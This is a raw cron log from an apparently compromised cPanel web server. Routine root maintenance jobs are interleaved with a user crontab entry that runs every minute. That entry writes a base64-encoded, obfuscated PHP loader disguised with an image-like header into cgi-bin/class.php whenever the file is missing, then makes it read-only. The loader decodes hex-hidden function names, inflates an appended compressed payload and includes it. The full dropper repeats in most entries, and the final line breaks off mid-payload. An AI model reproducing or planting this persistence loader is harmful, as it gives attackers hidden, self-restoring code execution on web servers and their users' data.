Sep 10 18:34:01 server CROND[26007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:34:01 server CROND[26008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:34:01 server CROND[26009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:35:01 server CROND[26509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:35:01 server CROND[26511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:35:01 server CROND[26516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:35:01 server CROND[26515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:35:01 server CROND[26520]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 18:35:01 server CROND[26517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:35:01 server CROND[26518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:35:01 server CROND[26513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:35:01 server CROND[26514]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:36:01 server CROND[27353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:36:01 server CROND[27354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:36:01 server CROND[27356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:37:01 server CROND[27724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:37:01 server CROND[27723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:37:01 server CROND[27725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:38:01 server CROND[28091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:38:01 server CROND[28092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:38:01 server CROND[28093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:39:01 server CROND[28477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:39:01 server CROND[28475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:39:01 server CROND[28478]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 18:39:01 server CROND[28476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:40:01 server CROND[28957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:40:01 server CROND[28958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:40:01 server CROND[28962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:40:01 server CROND[28963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:40:01 server CROND[28965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:40:01 server CROND[28964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:40:01 server CROND[28968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:40:01 server CROND[28966]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:41:01 server CROND[29783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:41:01 server CROND[29784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:41:01 server CROND[29785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:42:01 server CROND[30168]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 18:42:01 server CROND[30169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:42:01 server CROND[30167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:42:01 server CROND[30170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:43:01 server CROND[30550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:43:01 server CROND[30551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:43:01 server CROND[30552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:44:01 server CROND[30922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:44:01 server CROND[30923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:44:01 server CROND[30924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:45:01 server CROND[31393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:45:01 server CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:45:01 server CROND[31397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:45:01 server CROND[31399]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:45:01 server CROND[31401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:45:01 server CROND[31400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:45:01 server CROND[31403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNT